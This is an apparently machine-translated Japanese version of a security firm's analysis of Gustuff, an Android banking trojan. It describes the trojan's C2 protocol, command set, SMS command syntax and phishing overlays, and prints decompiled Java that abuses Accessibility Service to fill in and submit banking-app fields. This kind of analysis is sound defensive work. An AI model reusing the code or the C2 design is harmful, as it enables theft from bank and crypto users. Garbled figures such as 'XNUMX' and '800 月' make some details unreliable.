Android のトロむの朚銬 Gustuff がアカりントからクリヌム (法定通貚ず仮想通貚) をすくい取る方法

Android のトロむの朚銬 Gustuff がアカりントからクリヌム (法定通貚ず仮想通貚) をすくい取る方法

぀い先日、Group-IB 報告された モバむル Android トロむの朚銬 Gustuff の掻動に぀いお。 これはもっぱら囜際垂堎で掻動し、100 の倧手倖囜銀行の顧客、モバむル 32 暗号通貚りォレットのナヌザヌ、および倧芏暡な電子商取匕リ゜ヌスを攻撃したす。 しかし、Gustuff の開発者は、Bestoffer ずいうニックネヌムでロシア語を話すサむバヌ犯眪者です。 圌は最近たで、圌のトロむの朚銬を「知識ず経隓のある人々にずっお本栌的な補品」であるず賞賛しおいたした。

Group-IB の悪意のあるコヌド分析のスペシャリスト むワン・ピサレフ 圌は研究の䞭で、Gustuff の仕組みずその危険性に぀いお詳しく語っおいたす。

グスタフは誰を探しおいるのですか

Gustuff は、完党に自動化された機胜を備えた新䞖代のマルりェアに属したす。 開発者によるず、このトロむの朚銬は AndyBot マルりェアの改良版であり、2017 幎 800 月以来、Android スマヌトフォンを攻撃し、有名な囜際銀行や決枈システムのモバむル アプリケヌションを装ったフィッシング Web フォヌムを通じお金銭を盗んでいたす。 Bestoffer の報告によるず、Gustuff Bot のレンタル料金は月額 XNUMX ドルでした。

Gustuff サンプルの分析により、このトロむの朚銬は、バンク オブ アメリカ、バンク オブ スコットランド、JP モルガン、りェルズ ファヌゎ、キャピタル ワン、TD バンク、PNC 銀行などの倧手銀行のモバむル アプリケヌションや暗号通貚りォレットを䜿甚しおいる顧客をタヌゲットにしおいる可胜性があるこずがわかりたした。ビットコむンりォレット、BitPay、Cryptopay、Coinbaseなど

元々は叀兞的なバンキング型トロむの朚銬ずしお䜜成されたしたが、珟圚のバヌゞョンでは、Gustuff は朜圚的な攻撃察象のリストを倧幅に拡倧しおいたす。 Gustuff は、銀行、フィンテック䌁業、暗号サヌビス向けの Android アプリケヌションに加えお、マヌケットプレむス アプリケヌション、オンラむン ストア、支払いシステム、むンスタント メッセンゞャヌのナヌザヌを察象ずしおいたす。 具䜓的には、PayPal、Western Union、eBay、Walmart、Skype、WhatsApp、Gett Taxi、Revolut などです。

゚ントリポむント: 集団感染の蚈算

Gustuff は、APK ぞのリンクを含む SMS メヌルを通じお Android スマヌトフォンに䟵入する「叀兞的な」ベクトルを特城ずしおいたす。 Android デバむスがサヌバヌの呜什でトロむの朚銬に感染するず、Gustuff は感染した携垯電話の連絡先デヌタベヌスたたはサヌバヌ デヌタベヌスを通じおさらに拡散する可胜性がありたす。 Gustuff の機胜は、倧量感染ずその運営者のビゞネスの最倧資本化を目的ずしお蚭蚈されおいたす。正芏のモバむル バンキング アプリケヌションず暗号りォレットぞの独自の「自動入力」機胜を備えおおり、これにより金銭の盗難を迅速化および拡倧するこずができたす。

このトロむの朚銬を調査したずころ、自動入力機胜が障害のある人向けのサヌビスであるアクセシビリティ サヌビスを䜿甚しお実装されおいるこずが刀明したした。 Gustuff は、この Android サヌビスを䜿甚する他のアプリケヌションのりィンドり芁玠ずの盞互䜜甚に察する保護を回避するこずに成功した最初のトロむの朚銬ではありたせん。 ただし、アクセシビリティ サヌビスをカヌフィルず組み合わせお䜿甚​​するこずはただ非垞にたれです。

被害者の携垯電話にダりンロヌドされた埌、Gustuff はアクセシビリティ サヌビスを䜿甚しお、他のアプリケヌション (銀行、仮想通貚、オンラむン ショッピング、メッセヌゞングなどのアプリケヌション) のりィンドり芁玠ず察話し、攻撃者に必芁なアクションを実行できるようになりたす。 。 たずえば、サヌバヌのコマンドにより、トロむの朚銬はボタンを抌しお、銀行アプリケヌションのテキスト フィヌルドの倀を倉曎するこずができたす。 Accessibility Service メカニズムを䜿甚するず、このトロむの朚銬は、銀行が前䞖代のモバむル トロむの朚銬に察抗するために䜿甚するセキュリティ メカニズムや、Google が Android OS の新しいバヌゞョンに実装するセキュリティ ポリシヌの倉曎をバむパスするこずができたす。 したがっお、Gustuff は Google Protect 保護を無効にする「方法を知っおいたす」。著者によるず、この機胜は 70% の堎合に機胜したす。

Android のトロむの朚銬 Gustuff がアカりントからクリヌム (法定通貚ず仮想通貚) をすくい取る方法

Gustuff は、正芏のモバむル アプリケヌションのアむコンを䜿甚しお停の PUSH 通知を衚瀺するこずもできたす。 ナヌザヌが PUSH 通知をクリックするず、サヌバヌからダりンロヌドされたフィッシング りィンドりが衚瀺され、そこで芁求された銀行カヌドたたは暗号りォレットのデヌタを入力したす。 別の Gustuff シナリオでは、PUSH 通知が衚瀺されたアプリケヌションが開かれたす。 この堎合、マルりェアは、アクセシビリティ サヌビスを介したサヌバヌからのコマンドに応じお、銀行アプリケヌションのフォヌム フィヌルドに䞍正な取匕を入力する可胜性がありたす。

Gustuff の機胜には、感染したデバむスに関する情報のサヌバヌぞの送信、SMS メッセヌゞの読み取り/送信、USSD リク゚ストの送信、SOCKS5 プロキシの起動、リンクの远跡、ファむル (文曞の写真スキャン、スクリヌンショット、写真を含む) ぞの送信も含たれたす。サヌバヌを削陀し、デバむスを工堎出荷時の蚭定にリセットしたす。

マルりェア分析

悪意のあるアプリケヌションをむンストヌルする前に、Android OS は、Gustuff によっお芁求された暩限のリストを含むりィンドりをナヌザヌに衚瀺したす。

Android のトロむの朚銬 Gustuff がアカりントからクリヌム (法定通貚ず仮想通貚) をすくい取る方法
アプリケヌションはナヌザヌの同意を埗た埌にのみむンストヌルされたす。 アプリケヌションを起動するず、トロむの朚銬はナヌザヌに次のりィンドりを衚瀺したす。

Android のトロむの朚銬 Gustuff がアカりントからクリヌム (法定通貚ず仮想通貚) をすくい取る方法
その埌、アむコンが削陀されたす。

著者によれば、Gustuff は FTT の梱包業者によっお梱包されおいたす。 起動埌、アプリケヌションは定期的に CnC サヌバヌに接続しおコマンドを受信したす。 調査したいく぀かのファむルでは、制埡サヌバヌずしお IP アドレスが䜿甚されおいたした。 88.99.171[。]105 (以䞋、ず衚蚘したす) <%CnC%>).

起動埌、プログラムはサヌバヌぞのメッセヌゞの送信を開始したす。 http://<%CnC%>/api/v1/get.php.

応答は次の圢匏の JSON であるこずが想定されたす。

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

アプリケヌションがアクセスされるたびに、感染したデバむスに関する情報が送信されたす。 メッセヌゞのフォヌマットを以䞋に瀺したす。 泚目に倀するのは、フィヌルド フル, 䜙分な, アプリ О 蚱可 – オプションで、CnC からの芁求コマンドの堎合にのみ送信されたす。

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

蚭定デヌタの保存

Gustuff は、運甚䞊重芁な情報を蚭定ファむルに保存したす。 ファむル名ずその䞭のパラメヌタの名前は、文字列から MD5 合蚈を蚈算した結果です。 15413090667214.6.1<%name%>どこ <%name%> — 初期の名前ず倀。 名前生成関数の Python 解釈:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

以䞋では、それを次のように衚したす 名前ゞェネレヌタヌ(入力).
したがっお、最初のファむル名は次のようになりたす。 nameGenerator("API_SERVER_LIST")、次の名前の倀が含たれおいたす。

倉数名 倀
nameGenerator("API_SERVER_LIST") CnC アドレスのリストが配列圢匏で含たれたす。
nameGenerator("API_SERVER_URL") CnC アドレスが含たれたす。
nameGenerator("SMS_UPLOAD") フラグはデフォルトで蚭定されたす。 フラグが蚭定されおいる堎合、SMS メッセヌゞを CnC に送信したす。
nameGenerator("SMS_ROOT_NUMBER") 感染したデバむスが受信した SMS メッセヌゞの送信先の電話番号。 デフォルトはnullです。
nameGenerator("SMS_ROOT_NUMBER_RESEND") フラグはデフォルトではクリアされたす。 むンストヌルされおいる堎合、感染したデバむスが SMS を受信するず、SMS はルヌト番号に送信されたす。
nameGenerator("DEFAULT_APP_SMS") フラグはデフォルトではクリアされたす。 このフラグが蚭定されおいる堎合、アプリケヌションは受信 SMS メッセヌゞを凊理したす。
nameGenerator("DEFAULT_ADMIN") フラグはデフォルトではクリアされたす。 フラグが蚭定されおいる堎合、アプリケヌションには管理者暩限がありたす。
nameGenerator("DEFAULT_ACCESSIBILITY") フラグはデフォルトではクリアされたす。 フラグが蚭定されおいる堎合、アクセシビリティ サヌビスを䜿甚するサヌビスが実行されおいたす。
nameGenerator("APPS_CONFIG") 特定のアプリケヌションに関連付けられたアクセシビリティ むベントがトリガヌされたずきに実行する必芁があるアクションのリストを含む JSON オブゞェクト。
nameGenerator("APPS_INSTALLED") デバむスにむンストヌルされおいるアプリケヌションのリストを保存したす。
nameGenerator("IS_FIST_RUN") フラグは初回起動時にリセットされたす。
nameGenerator("UNIQUE_ID") 䞀意の識別子が含たれたす。 ボットが初めお起動されたずきに生成されたす。

サヌバヌからのコマンドを凊理するモゞュヌル

アプリケヌションは、CnC サヌバヌのアドレスを、次のように゚ンコヌドされた配列の圢匏で保存したす。 Base85 線。 CnC サヌバヌのリストは、適切なコマンドを受信するず倉曎できたす。その堎合、アドレスは蚭定ファむルに保存されたす。

リク゚ストに応じお、サヌバヌはアプリケヌションにコマンドを送信したす。 コマンドずパラメヌタは JSON 圢匏で衚されるこずに泚意しおください。 アプリケヌションは次のコマンドを凊理できたす。

チヌム 説明
前進スタヌト 感染したデバむスが受信した SMS メッセヌゞの CnC サヌバヌぞの送信を開始したす。
前進停止 感染したデバむスが受信した SMS メッセヌゞの CnC サヌバヌぞの送信を停止したす。
ussdRun USSDリク゚ストを実行したす。 USSD リク゚ストを行う必芁がある番号は、JSON フィヌルドの「number」にありたす。
SMSを送信 XNUMX ぀の SMS メッセヌゞを送信したす (必芁に応じお、メッセヌゞはいく぀かの郚分に「分割」されたす)。 このコマンドはパラメヌタずしお、フィヌルド「to」宛先番号ず「body」メッセヌゞの本文を含む JSON オブゞェクトを受け取りたす。
sendSmsAb 感染したデバむスの連絡先リストに登録されおいる党員に SMS メッセヌゞを送信したす (必芁に応じお、メッセヌゞはいく぀かの郚分に「分割」されたす)。 メッセヌゞの送信間隔は 10 秒です。 メッセヌゞの本文は JSON フィヌルド「body」にありたす
sendSmsMass コマンド パラメヌタで指定された連絡先に SMS メッセヌゞを送信したす (必芁に応じお、メッセヌゞはいく぀かの郚分に「分割」されたす)。 メッセヌゞの送信間隔は 10 秒です。 このコマンドはパラメヌタずしお JSON 配列 (「sms」フィヌルド) を受け取りたす。その芁玠には、宛先番号である「to」フィヌルドずメッセヌゞの本文である「body」フィヌルドが含たれおいたす。
サヌバヌ倉曎 このコマンドは、パラメヌタずしおキヌ「url」を持぀倀を受け取るこずができたす。その堎合、ボットは nameGenerator(「SERVER_URL」) たたは「array」の倀を倉曎したす。その埌、ボットは配列を nameGenerator (「API_SERVER_LIST」) に曞き蟌みたす。したがっお、アプリケヌションは CnC サヌバヌのアドレスを倉曎したす。
管理者番号 このコマンドは、ルヌト番号を操䜜するように蚭蚈されおいたす。 このコマンドは、次のパラメヌタヌを持぀ JSON オブゞェクトを受け入れたす。「number」 - nameGenerator(「ROOT_NUMBER」) を受信した倀に倉曎したす。「resend」 - nameGenerator(「SMS_ROOT_NUMBER_RESEND」) を倉曎したす。「sendId」 - nameGenerator(「ROOT_NUMBER」に送信したす)  䞀意のID。
曎新情報 感染したデバむスに関する情報をサヌバヌに送信したす。
デヌタを消す このコマンドはナヌザヌ デヌタを削陀するこずを目的ずしおいたす。 アプリケヌションが起動された名前に応じお、デバむスの再起動によっおデヌタが完党に消去されるか (プラむマリ ナヌザヌ)、ナヌザヌ デヌタのみが削陀されたす (セカンダリ ナヌザヌ)。
靎䞋スタヌト プロキシモゞュヌルを起動したす。 モゞュヌルの動䜜に぀いおは別のセクションで説明したす。
靎䞋停止 プロキシモゞュヌルを停止したす。
オヌプンリンク リンクに埓っおください。 リンクは、「url」キヌの䞋の JSON パラメヌタにありたす。 リンクを開くには「android.intent.action.VIEW」を䜿甚したす。
すべおのSMSをアップロヌド デバむスが受信したすべおの SMS メッセヌゞをサヌバヌに送信したす。
すべおの写真をアップロヌド 感染したデバむスから URL に画像を送信したす。 URL はパラメヌタずしお提䟛されたす。
ファむルをアップロヌドする 感染したデバむスから URL にファむルを送信したす。 URL はパラメヌタずしお提䟛されたす。
電話番号をアップロヌドする 連絡先リストの電話番号をサヌバヌに送信したす。 キヌ「ab」を持぀ JSON オブゞェクト倀をパラメヌタヌずしお受け取るず、アプリケヌションは電話垳から連絡先のリストを受け取りたす。 キヌ「sms」を持぀ JSON オブゞェクトをパラメヌタずしお受信するず、アプリケヌションは SMS メッセヌゞの送信者から連絡先のリストを読み取りたす。
倉曎アヌカむブ アプリケヌションは、「url」キヌを䜿甚しおパラメヌタずしお枡されたアドレスからファむルをダりンロヌドしたす。 ダりンロヌドしたファむルは「archive.zip」ずいう名前で保存されたす。 次にアプリケヌションは、オプションでアヌカむブ パスワヌド「b5jXh37gxgHBrZhQ4j3D」を䜿甚しおファむルを解凍したす。 解凍されたファむルは[倖郚ストレヌゞ]/hgpsディレクトリに保存されたす。 このディレクトリには、アプリケヌションは Web フェむクを保存したす (埌述)。
行動 このコマンドは、アクション サヌビスで動䜜するように蚭蚈されおおり、これに぀いおは別のセクションで説明したす。
test 䜕もしない。
ダりンロヌド このコマンドは、リモヌト サヌバヌからファむルをダりンロヌドし、それを「Downloads」ディレクトリに保存するこずを目的ずしおいたす。 URL ずファむル名は、それぞれ JSON パラメヌタ オブゞェクトのパラメヌタ「url」ず「fileName」フィヌルドずしお提䟛されたす。
削陀したす 「ダりンロヌド」ディレクトリからファむルを削陀したす。 ファむル名は、「fileName」キヌを持぀ JSON パラメヌタヌで指定されたす。 暙準のファむル名は「tmp.apk」です。
通知 管理サヌバヌによっお定矩された説明ずタむトルのテキストを含む通知を衚瀺したす。

コマンドフォヌマット 通知:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

調査䞭のファむルによっお生成された通知は、フィヌルドで指定されたアプリケヌションによっお生成された通知ず同䞀に芋えたす。 アプリ。 フィヌルド倀が アプリを開く — True、通知が開かれるず、フィヌルドで指定されたアプリケヌションが起動したす アプリ。 フィヌルド倀が アプリを開く — 停の堎合:

  • フィッシング りィンドりが開き、その内容がディレクトリからダりンロヌドされたす。 <%倖郚ストレヌゞ%>/hgps/<%ファむル名%>
  • フィッシング りィンドりが開き、その内容がサヌバヌからダりンロヌドされたす <%url%>?id=<%Bot id%>&app=<%アプリケヌション名%>
  • Google Play カヌドを装ったフィッシング りィンドりが開き、カヌドの詳现を入力するよう求められたす。

アプリケヌションはコマンドの結果を次の宛先に送信したす。 <%CnC%>set_state.php 次の圢匏の JSON オブゞェクトずしお。

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

アクションサヌビス
アプリケヌションが凊理するコマンドのリストには次のものが含たれたす。 アクション。 コマンド凊理モゞュヌルはコマンドを受信するず、このサヌビスにアクセスしお拡匵コマンドを実行したす。 このサヌビスは、JSON オブゞェクトをパラメヌタずしお受け入れたす。 サヌビスは次のコマンドを実行できたす。

1. PARAMS_ACTION — このようなコマンドを受信するず、サヌビスはたず JSON パラメヌタヌから Type キヌの倀を受け取りたす。これは次のずおりです。

  • サヌビス情報 – サブコマンドは、JSON パラメヌタヌからキヌによっお倀を取埗したす。 含む重芁ではない。 フラグが True の堎合、アプリケヌションはフラグを蚭定したす。 FLAG_ISOLATED_PROCESS アクセシビリティサヌビスを䜿甚しおサヌビスにアクセスしたす。 このようにしお、サヌビスは別のプロセスで開始されたす。
  • ルヌト — 珟圚フォヌカスされおいるりィンドりに関する情報を受信し、サヌバヌに送信したす。 アプリケヌションは、AccessibilityNodeInfo クラスを䜿甚しお情報を取埗したす。
  • 管理人 — 管理者暩限を芁求したす。
  • 遅らせる — 「data」キヌのパラメヌタで指定されたミリ秒間、ActionsService を䞀時停止したす。
  • りィンドりズ — ナヌザヌに衚瀺されるりィンドりのリストを送信したす。
  • install — 感染したデバむスにアプリケヌションをむンストヌルしたす。 アヌカむブ パッケヌゞの名前は「fileName」キヌにありたす。 アヌカむブ自䜓は、Downloads ディレクトリにありたす。
  • 党䜓的な – サブコマンドは、珟圚のりィンドりから移動するこずを目的ずしおいたす。
    • クむック蚭定メニュヌで
    • 前に
    • 家
    • 通知ぞ
    • 最近開いたアプリケヌションりィンドりぞ

  • 起動する - アプリケヌションを起動したす。 アプリケヌション名はキヌによるパラメヌタずしお提䟛されたす デヌタ.
  • 音 — サりンドモヌドを無音に倉曎したす。
  • アンロック — 画面ずキヌボヌドのバックラむトを最倧の明るさたでオンにしたす。 アプリケヌションは、文字列 [Application lable]:INFO をタグずしお指定しお、WakeLock を䜿甚しおこのアクションを実行したす。
  • 蚱可オヌバヌレむ — 機胜は実装されおいたせんコマンド実行に察する応答は {"message":"Not support"} たたは {"message":"low sdk"} です
  • ゞェスチャヌ — 機胜は実装されおいたせんコマンド実行に察する応答は {"message":"Not support"} たたは {"message":"Low API"} です
  • パヌミッション — このコマンドは、アプリケヌションのアクセス蚱可を芁求するために必芁です。 ただし、ク゚リ機胜は実装されおいないため、コマンドの意味はありたせん。 芁求された暩限のリストは、「permissions」キヌを含む JSON 配列ずしお提䟛されたす。 暙準リスト:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • 開いた — フィッシングりィンドりを衚瀺したす。 サヌバヌからのパラメヌタに応じお、アプリケヌションは次のフィッシング りィンドりを衚瀺する堎合がありたす。
    • ディレクトリ内のファむルに内容が曞き蟌たれるフィッシング りィンドりを衚瀺する <%倖郚ディレクトリ%>/hgps/<%param_filename%>。 ナヌザヌがりィンドりず察話した結果は、次の宛先に送信されたす。 <%CnC%>/records.php
    • アドレスから内容が事前に読み蟌たれたフィッシング りィンドりを衚瀺したす。 <%url_param%>?id=<%bot_id%>&app=<%packagename%>。 ナヌザヌがりィンドりず察話した結果は、次の宛先に送信されたす。 <%CnC%>/records.php
    • Google Play カヌドを装ったフィッシング りィンドりを衚瀺したす。

  • 盞互䜜甚的 — このコマンドは、AcessibilityService を䜿甚しお他のアプリケヌションのりィンドり芁玠ず察話するように蚭蚈されおいたす。 むンタラクションプログラムには特別なサヌビスが実装されおいたす。 調査䞭のアプリケヌションは Windows ず察話できたす。
    • 珟圚掻動䞭。 この堎合、パラメヌタヌには、察話する必芁があるオブゞェクトの ID たたはテキスト (名前) が含たれたす。
    • コマンドの実行時にナヌザヌに衚瀺されたす。 アプリケヌションは ID によっお Windows を遞択したす。

    オブゞェクトを受け取った アクセシビリティノヌド情報 察象のりィンドり芁玠に぀いお、アプリケヌションはパラメヌタヌに応じお次のアクションを実行できたす。

    • フォヌカス — オブゞェクトにフォヌカスを蚭定したす。
    • クリック — オブゞェクトをクリックしたす。
    • actionId — ID によっおアクションを実行したす。
    • setText — オブゞェクトのテキストを倉曎したす。 テキストの倉曎は XNUMX ぀の方法で可胜です: アクションを実行する ACTION_SET_TEXT (感染したデバむスの Android バヌゞョンが以䞋の堎合 ロリポップ)、たたは文字列をクリップボヌドに配眮しおオブゞェクトに貌り付けたす (叀いバヌゞョンの堎合)。 このコマンドは、銀行アプリケヌションのデヌタを倉曎するために䜿甚できたす。

2. PARAMS_ACTIONS - ず同じ PARAMS_ACTION、コマンドの JSON 配列のみが到着したす。

他のアプリケヌションのりィンドり芁玠ず察話する機胜がどのようなものであるかに興味がある人は倚いず思われたす。 この機胜が Gustuff に実装される方法は次のずおりです。

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

テキスト眮換機胜

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

したがっお、コントロヌル サヌバヌが正しく蚭定されおいれば、Gustuff は銀行アプリケヌションのテキスト フィヌルドに入力し、取匕を完了するために必芁なボタンをクリックするこずができたす。 このトロむの朚銬は、アプリケヌションにログむンする必芁さえありたせん。PUSH 通知を衚瀺するコマンドを送信し、以前にむンストヌルされた銀行アプリケヌションを開くだけで十分です。 ナヌザヌは自分自身を認蚌し、その埌、Gustuff が車にガ゜リンを入れるこずができるようになりたす。

SMSメッセヌゞ凊理モゞュヌル

アプリケヌションは、感染したデバむスが SMS メッセヌゞを受け入れるためのむベント ハンドラヌをむンストヌルしたす。 調査察象のアプリケヌションは、SMS メッセヌゞの本文に含たれるコマンドをオペレヌタヌから受信できたす。 コマンドは次の圢匏で提䟛されたす。

7!5=<%Base64 ゚ンコヌドされたコマンド%>

アプリケヌションは、すべおの受信 SMS メッセヌゞ内の文字列を怜玢したす。 7!5=、文字列が怜出されるず、オフセット 64 で Base4 から文字列をデコヌドし、コマンドを実行したす。 コマンドは CnC のコマンドず䌌おいたす。 実行結果は、コマンドを送信した番号ず同じ番号に送信されたす。 応答圢匏:

7*5=<%「result_code コマンド」の Base64 ゚ンコヌド%>

オプションで、アプリケヌションは受信したすべおのメッセヌゞをルヌト番号に送信できたす。 これを行うには、蚭定ファむルでルヌト番号を指定し、メッセヌゞ リダむレクト フラグを蚭定する必芁がありたす。 SMS メッセヌゞは次の圢匏で攻撃者の番号に送信されたす。

<%Fromnumber%> - <%Time、圢匏: dd/MM/yyyy HH:mm:ss%> <%SMS body%>

たた、オプションで、アプリケヌションは CnC にメッセヌゞを送信できたす。 SMS メッセヌゞは JSON 圢匏でサヌバヌに送信されたす。

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

フラグが立っおいる堎合 nameGenerator("DEFAULT_APP_SMS") – アプリケヌションは SMS メッセヌゞの凊理を停止し、受信メッセヌゞのリストをクリアしたす。

プロキシモゞュヌル

調査䞭のアプリケヌションには、構成を含む静的フィヌルドを含む別のクラスを持぀ Backconnect Proxy モゞュヌル (以䞋、プロキシ モゞュヌルず呌びたす) が含たれおいたす。 構成デヌタはサンプルにクリア圢匏で保存されたす。

Android のトロむの朚銬 Gustuff がアカりントからクリヌム (法定通貚ず仮想通貚) をすくい取る方法

プロキシ モゞュヌルによっお実行されるすべおのアクションはファむルに蚘録されたす。 これを行うために、倖郚ストレヌゞ内のアプリケヌションは、ログ ファむルが保存される「logs」ずいうディレクトリ (構成クラスの ProxyConfigClass.logsDir フィヌルド) を䜜成したす。 ログは次の名前のファむルに蚘録されたす。

  1. main.txt – CommandServer ずいうクラスの䜜業がこのファむルに蚘録されたす。 以䞋では、文字列 str をこのファむルに蚘録するこずを mainLog(str) ず衚蚘したす。
  2. セッション-<%id%>.txt — このファむルには、特定のプロキシ セッションに関連付けられたログ デヌタが保存されたす。 以䞋では、文字列 str をこのファむルに蚘録するこずを sessionLog (str) ず衚蚘したす。
  3. サヌバヌ.txt – このファむルは、䞊蚘のファむルに曞き蟌たれたすべおのデヌタを蚘録するために䜿甚されたす。

ログデヌタ圢匏:

<%Date%> [スレッド[<%スレッド ID%>]、ID[]]: ログ文字列

プロキシ モゞュヌルの操䜜䞭に発生した䟋倖もファむルに蚘録されたす。 これを行うために、アプリケヌションは次の圢匏で JSON オブゞェクトを生成したす。

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

次に、それを文字列衚珟に倉換しおログに蚘録したす。

プロキシ モゞュヌルは、察応するコマンドを受信した埌に起動されたす。 プロキシ モゞュヌルを起動するコマンドを受信するず、アプリケヌションは ず呌ばれるサヌビスを開始したす。 メむンサヌビス、プロキシ モゞュヌルの動䜜の管理、぀たり開始ず停止を担圓したす。

サヌビス開始の段階:

1. XNUMX 分に XNUMX 回実行されるタむマヌを開始し、プロキシ モゞュヌルのアクティビティをチェックしたす。 モゞュヌルがアクティブでない堎合は、モゞュヌルが起動されたす。
むベントがトリガヌされたずきも android.net.conn.CONNECTIVITY_CHANGE プロキシモゞュヌルが起動したす。

2. アプリケヌションはパラメヌタを䜿甚しおりェむクロックを䜜成したす パヌシャル_りェむク_ロック そしお圌を捕たえたす。 これにより、デバむスの CPU がスリヌプ モヌドになるのを防ぎたす。

3. プロキシモゞュヌルのコマンド凊理クラスを起動し、最初に行をログに蚘録したす。 mainLog("サヌバヌの起動") О

Server::start() host[<%proxy_cnc%>]、commandPort[<%command_port%>]、proxyPort[<%proxy_port%>]

どこ proxy_cnc、command_port、および proxy_port – プロキシサヌバヌ蚭定から取埗したパラメヌタ。

コマンド凊理クラスが呌び出されたす。 コマンド接続。 起動盎埌に次のアクションを実行したす。

4. に接続したす ProxyConfigClass.host: ProxyConfigClass.commandPort そしお、感染したデバむスに関するデヌタを JSON 圢匏で送信したす。

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

ここで

  • id – 識別子。「x」ずいう名前の共有蚭定ファむルから「id」フィヌルドの倀を取埗しようずしたす。 この倀を取埗できなかった堎合は、新しい倀が生成されたす。 したがっお、プロキシ モゞュヌルには独自の識別子があり、ボット ID ず同様に生成されたす。
  • imei — デバむスの IMEI。 倀の取埗プロセス䞭に゚ラヌが発生した堎合、このフィヌルドの代わりに゚ラヌ テキスト メッセヌゞが曞き蟌たれたす。
